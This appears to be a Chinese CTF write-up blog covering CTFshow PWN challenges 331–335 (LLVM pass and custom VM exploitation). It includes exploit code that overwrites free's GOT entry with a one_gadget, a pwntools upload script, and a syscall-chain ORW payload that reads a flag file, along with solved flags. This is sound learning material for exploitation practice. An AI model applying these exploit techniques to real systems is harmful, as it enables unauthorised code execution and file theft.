CTFshow LLVM PWN部分

CTFshow-pwn入门-前置基础pwn29-pwn31 CTFshow-pwn入门-前置基础pwn29-pwn31(绕过PIE-pwn31) 阅读详情

PWN 331

运行即可拿flag

opt-8 -load ./LLVMHello.so -hello ./pwn.ll

ctfshow{llvm_pwn_is_v3ry_easy_aNd_v3ry_fuNny}

PWN 332 (LLVM-PWN)

分析:

image-20251122112700873

会调用sub_6AC0

image-20251122112724606

调用sub_6b80函数

image-20251122112805723

程序在开始的时候就会获取函数名,然后依次与后面的函数名匹配。

pop函数

image-20251122112918056

push函数

image-20251122112941281

store函数

image-20251122113005889

load函数

image-20251122113028681

add函数

image-20251122113057232

min函数

image-20251122113112740

思路:

  1. 先利用add函数向reg1中写入free_got
  2. 在利用load函数把reg1中free_got中的free函数地址取出来放到reg2
  3. 再利用min函数和add函数计算出one_gadget的地址
  4. 利用store函数将reg2中的one_gadget写入 reg1中的free_got中
  5. 最后结束时调用free函数,执行我们的one_gadget

EXP:

笔者Ubuntu是20.04所以打本机是:

void store(int a);
void load(int a);
void add(int a,long long b);
void min(int a,long long b);


void o0o0o0o0(){
	add(1,0x785100);
	load(1);
	min(2,0x000000000009a6d0);
	add(2,0xe3afe);
	add(1,0x870);
	store(1);

}

image-20251122115912417

远程上传

void add(int num, long long val);
void min(int num, long long val);
void load(int num);
void store(int num);

void o0o0o0o0()
{
	add(1, 0x77E100);
	load(1);
	min(2, 0x9a6d0);
	add(2, 0xe3afe);
	add(1, 0x870);
	store(1);
}

from pwn import *
import sys
context.log_level='debug'

con = remote(sys.argv[1], sys.argv[2])
f = open("./exp.ll","rb")

payload=f.read()

f.close()

payload2 = base64.b64encode(payload).decode('ascii')
con.sendlineafter("Send your code plz: ", payload2)

con.interactive()

PWN 333 (VM)

本题和LLVM应该没有关系,就是一个VM PWM

image-20251125105210002

保护全开

分析:

初始化

image-20251125105239113

题目在初始化的时候申请了一块空间,这块空间相当于 栈

image-20251125105327620

这里就是读入我们的opcode

pop函数和push函数

image-20251125105540023

这里的 v19~v22相当于 rax,rdi,rsi,rdx 后面会分析到。

如上图 当 op 在 6~9范围里就是调用pop函数,会根据op的值把now_mmap中的值pop到对应的v19~v22中。

如图:

image-20251125105905160

对于push函数则对应 op 1~5,会把 v18~v22的值压入now_mmap中

image-20251125110200456

加法

image-20251125110242898

就是对now_mmap栈顶的值做加法

减法

image-20251125110303886

就是对now_mmap栈顶的值做减法

syscall

image-20251125110324865

这里时给syscall的调用函数,光看反汇编看不出什么,直接看汇编如下:

image-20251125110457478

如图就可以看到,这里的 rbp+var_28,rbp+var_20,rbp+var_18,rbp+var_10分别对应的就是v19 , v20 , v21 , v22

然后会依次对寄存器 rax , rdi ,rsi ,rdx赋值 并且在执行完 syscall 后 会把 rax的存放进 v18中。

所以对于 op = 12来说操作如下:

  • rax == v19
  • rdi == v20
  • rsi == v21
  • rdx == v22
  • v18存放 syscall后 rax的值
压入我们输入的值

image-20251125111041894

这个函数就是压入我们输入的值。

思路

知识点: \#define __NR_brk 12 当我们调用brk()函数后会返回一个堆地址,这个堆地址就是堆结束地址。并且这个地址会放入rax中,这样我们可以通过对这个地址进行减去一定的偏移得到一个可以写入的地址,然后就能进行一系列操作

  1. 因为本题保护全开,我们很难泄露地址,但由于有syscall调用,所以我们先 syscall 12调用 brk后拿到一个堆地址
  2. 对改地址进行减法操作,拿到一个可以写入的堆地址
  3. 因为可以 调用sysall ,所以我们可以ORW,先调用 read函数向这个堆地址写入flag文件名
  4. 然后调用 open函数 打开这个文件
  5. 调用 read函数读取这个 文件
  6. 最后调用 write 输出flag

EXP

from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')

pwnfile = "./pwn"
elf = ELF(pwnfile)

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} ==========================>>> {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))


def push_imm(value):   #生成操作码0的指令,将8字节立即数压入栈
	return b"\x00"+p64(value)

def push_arg(value):	#操作码1-5的指令 push
	return p8(value)

def pop_arg(value):		#操作码6-9的指令 pop
	return p8(value)

def add_imm(value):
	return p8(10)+p64(value) 

def min_imm(value):
	return p8(11)+p64(value) 

def syscall():
	return p8(12)


def pwn():
	ru(b"Input your op code:")

	payload = push_imm(12)+pop_arg(6)		 	#rax == 12
	payload += push_imm(0x10000)+pop_arg(7) 	#rdi == 0x10000
	payload += push_imm(0)+pop_arg(8)			#rsi == 0
	payload += push_imm(0)+pop_arg(9)			#rdx == 0
	payload += syscall()						#syscall  brk(0x10000)

	payload += push_arg(1)				#call的返回值会放在rax中,op=12中call后会把rax (call_ret后面叫做target_addr)的值给v18

	payload += min_imm(0x1000)+pop_arg(8)	#rsi ==	target_addr ==call_ret - 0x1000
	payload += push_imm(0)+pop_arg(6)		#rax == 0
	payload += push_imm(0)+pop_arg(7)		#rdi == 0
	payload += push_imm(0x100)+pop_arg(9)	#rdx == 0x100
	payload += syscall()					#syscall read(0,target_addr,0x100)

	payload += push_arg(4)			#push rsi 
	payload += pop_arg(7)			#rdi == target_addr
	payload += push_imm(0)+pop_arg(8)	#rsi == 0
	payload += push_imm(0)+pop_arg(9)	#rdx == 0
	payload += push_imm(2)+pop_arg(6)	#rax == 2
	payload += syscall()			#syscall open(target_addr,0,0)

	payload += push_arg(3)		#push rdi
	payload += pop_arg(8)		#rsi == target_addr
	payload += push_arg(1)		#push rax (open_fd)
	payload += pop_arg(7)		#rdi == open_fd
	payload += push_imm(0x100)+pop_arg(9)		#rdx == 0x100
	payload += push_imm(0)+pop_arg(6)			#rax == 0
	payload += syscall()		#syscall read(open_fd,target_addr,0x100)

	payload += push_imm(1)+pop_arg(6)	#rax == 1
	payload += push_imm(1)+pop_arg(7)	#rdi == 1
	payload += syscall()			#write(1,target_addr,0x100)

	sl(payload)

	sl(b"ctfshow_flag\x00")

	
	itr()


if __name__ == "__main__":
	# while True:
		io = remote("pwn.challenge.ctf.show",28312)
		# io = process(pwnfile)
		try:
			pwn()
		except:
			io.close()



调试

调用 brk 前

image-20251125112130419

调用brk后

image-20251125112212581

对该地址减去一定偏移(大小看自己设置),就能拿到可以写的堆地址

image-20251125112308340

后面就是正常的ORW了

PWN 334

CISCI 2021年原题,详细请看
LLVM PWN 入门(一)

EXP:

int save(char *a,char *b){return 0;};
int takeaway(char *a){return 0;};
void stealkey();
void fakekey(int d);
void run();

void B4ckDo0r(){
	save("a","b");
	save("a","b");
	save("a","b");
	save("a","b");
	save("a","b");
	save("a","b");
	save("a","b");

	save("\x00","b");

	stealkey();
	fakekey(-0x2E19b4);
	run();
}


PWN 335

CTFshow-PWN入门-栈溢出pwn35~pwn40 本文主要详解CTFshow中pwn入门系列的栈溢出模块的前6题所用工具:linux环境下的虚拟机、IDA Pro、exeinfope参考文章:以下操作中小编用的都是自己的kali环境。 阅读详情

相关推荐

CTFshow-PWN入门-前置基础-全篇

本文主要详解CTFshow中pwn入门系列的前置基础模块,共30道题所用工具:linux环境下的虚拟机、IDA Pro、exeinfope的博客以下操作中小编用的都是自己的kali环境。

weixin_63576152的博客 6079

CTFshow-PWN-前置基础(pwn24-pwn25)

你可以使用pwntools的shellcraft模块来进行攻击32位程序,只开了部分 RELRO 保护可以看到多出了一个 RWX: Has RWX segments这意味着二进制文件中存在至少一个段(通常是代码段),它同时拥有读、写、执行权限反编译尝试跟进 ctfshow 函数但是不行这个是它的汇编代码:使用 python 运行:拿到 shell执行命令拿到 flag:ctfshow{f615f3c6-b99a-4590-ac95-1f7baf5b974b}

Welcome To My6n Blog 1737

ctfshow-pwn新手系列

前言 十几天没发文了,都在写这篇文章,我也不知道为啥我要学pwn,当初是准备学汇编的,走上了不归之路,呜呜呜 pwn签到题 nc 连上就有flag pwn02 一个简单的ret2text 首先看main函数 那么接着跟到pwnme函数 可以看到buf只有9个字节 而fgets读入了50个字节,所以就导致了栈溢出 这是个32位的程序所以ret地址一般是ebp+4 看到stack函数 地址 故exp为 exp: from pwn import * #p = process("./pwn1") p

ro4lsc的博客 1万+

CTFSHOW-PWN入门-前置基础(29-34)

观察源代码发现printf函数输出了main函数的地址,我们用输出的地址减去main函数的地址就得到了偏移量,然后再用其他函数的地址加上偏移量,就能知道函数在内存中的地址了。进而我们可以利用puts函数输出got表中puts函数的地址,利用LibcSearcher模块得到puts函数在libc中的偏移,然后就能得到system函数和/bin/sh的地址了,最终拿到shell,得到flag。本题代码和上题一样,但是开启了fortify=1,仅仅在编译时检查,所以还是输入4个参数,得到flag。

2402_84585385的博客 2231

CTF Pwn入门实战:基于pwntools的栈溢出与ROP利用详解

二进制漏洞利用(Pwn)是CTF竞赛中的核心方向,其本质是通过程序的内存安全漏洞(如栈溢出、格式化字符串等)劫持控制流,执行任意代码。理解其原理需要掌握程序内存布局、函数调用约定及CPU指令执行机制。在工程实践中,自动化工具链能极大提升漏洞利用的效率和稳定性。Python的pwntools库正是这样一个集成了交互、汇编、打包、ROP链构建等功能的强大框架,它让开发者能专注于漏洞逻辑而非底层通信细节。在CTF Pwn入门场景中,典型的应用包括通过计算偏移覆盖返回地址完成栈溢出,以及在NX保护开启时,利用程序自

weixin_33695082的博客 359

checksec完全指南:PWN必备的二进制安全防护解读与攻击路径分析

在二进制安全与漏洞利用领域,NX、PIE、RELRO、canary等安全机制决定了程序面对溢出攻击时的防御姿态。理解这些防护的开关状态,是制定渗透策略的前提。checksec作为一款轻量级ELF安全检测工具,通过解析文件头与动态段,将复杂的保护配置转化为可读的表格,帮助安全研究者快速定位可攻击面。它不仅是CTF PWN解题的起点,也广泛应用于恶意样本分析、固件安全评估及二进制加固验证。从静态文件到运行进程,从单文件检查到批量扫描,checksec结合JSON输出与pwntools可形成自动化利用决策链。在实

weixin_34323858的博客 544

CTFSHOW-PWN入门-栈溢出(35-42)

发现hint函数中存在system函数,useful函数存在sh,根据题目的提示得知或许sh可以替代bin/sh,找到sh的地址为0x80487BA。发现hint函数中存在system函数,useful函数存在sh,根据题目的提示得知或许sh可以替代bin/sh,找到sh的地址为0x400872。ctfshow函数中的,v1大小为14,而read函数读取大小为50,所以read函数存在栈溢出,使用cyclic计算栈偏移量为22。ctfshow函数中的read函数存在栈溢出,cyclic计算栈偏移量为18。

2402_84585385的博客 1331

CTFshow-pwn入门-前置基础pwn13-pwn19

题目提示我们使用gcc直接编译,然后运行可执行文件即可得到flag。因此我们gcc编译一下。得到flag:ctfshow{hOw_t0_us3_GCC?

2301_80976241的博客 1578

CTFshow-PWN-前置基础(pwn13-pwn16)

如何使用GCC?编译运行后即可获得flag下载附件,是一个 .c 文件定义了一个字符数组 flag[],其中包含一系列 ASCII 码值,最后以NULL字符(\0)结尾,表示字符串的结束,使用 printf() 函数,其中的 %s 是格式化字符串中的一个格式说明符,用于指示 printf() 函数要打印的内容是一个字符串,将字符数组以字符串的形式输出。编译好后我们直接使用 ./ 执行得到 flag:ctfshow{hOw_t0_us3_GCC?

Welcome To My6n Blog 1616

CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用)

ctfshow-pwn入门-栈溢出pwn49-mprotect函数静态链接pwn的应用

你们de4月天的博客 2584

CTFshow-pwn入门-前置基础pwn5 - pwn12

CTFshow-pwn入门-前置基础-pwn5-pwn12

你们de4月天的博客 1784

CTFshow PWN入门 Test_your_nc

需使用chmod +x给文件添加可执行权限system()函数里参数为"cat /ctfshow_flag",直接nc运行即可得到flag。

2301_79612324的博客 656

CTFshow-PWN入门-Test_your_nc详解

本文主要详解CTFshow中pwn入门第一块内容Test_your_nc的五道题所用工具:linux环境下的虚拟机、IDA Pro、exeinfope以下操作中小编用的都是自己的kali环境(小编的轻薄本已经容不提供的专用虚拟机了QAQ)

weixin_63576152的博客 1964

【CTF | pwn篇】ctfshow pwn刷题记录

栈溢出漏洞分析报告 摘要 本报告分析了三个存在栈溢出漏洞的CTF题目(pwn_035、pwn_036和pwn_037)。pwn_035通过strcpy函数未验证输入大小导致栈溢出,触发信号处理函数打印flag;pwn_036存在未保护的栈和显式后门函数,可直接覆盖返回地址跳转到后门;pwn_037同样存在栈溢出漏洞,可利用system("/bin/sh")后门函数获取shell。三个案例展示了栈溢出的不同利用方式,包括触发异常处理、直接跳转后门函数等技巧。

序章的博客 1294

CTFSHOW|pwn-数学99-wp

1.检查保护机制 2.我们用64位的IDA打开该文件 查找关键字符串看到有“cat flag” 3.我们先预览一遍程序 main函数 我们看到要if语句里面的三个函数条件为真 第一个函数 第二个函数 第三个函数 在第三个函数里面条件为真就可以拿到flag(handler) 4.第一个函数:sub_9C0() 条件: 因为输入变量s是有符号数的int型:0~2147483647 -2147483648~-1 所以8 -(-...

l2645470582_的博客 1305

CTFshow-pwn入门-Test_your_nc

ctfshow-pwn入门-test_your_nc-pwn0-pwn4

你们de4月天的博客 3280

CTFshow-PWN-栈溢出(pwn36)

每次调用 puts 函数时,它都会再次进入函数体内,然后又调用 puts 函数,这样就形成了无限递归调用。声明了一个长度为 36 字节的字符数组 s,调用 gets 函数,并将 s 数组作为参数传递给它,然后将 gets 函数的返回值作为 ctfshow 函数的返回值。这个特定的 puts 函数定义中,函数体内部再次调用了 puts 函数,并且传递了相同的参数 s。disass 是 GDB 的指令,这里是反汇编名为 get_flag 的函数。这里 s 数组存在栈溢出的可能,具体看后面的分析,

Welcome To My6n Blog 1632

基于51单片机的智能灌溉系统

基于51单片机的智能灌溉系统

jiejiezuishuai的博客 2101
上一篇: LLVM PWN 入门(一)
下一篇: Pwncollege V8 Exploitation (上)
saulgoodman-q
博客等级 码龄6年 828粉丝 52原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值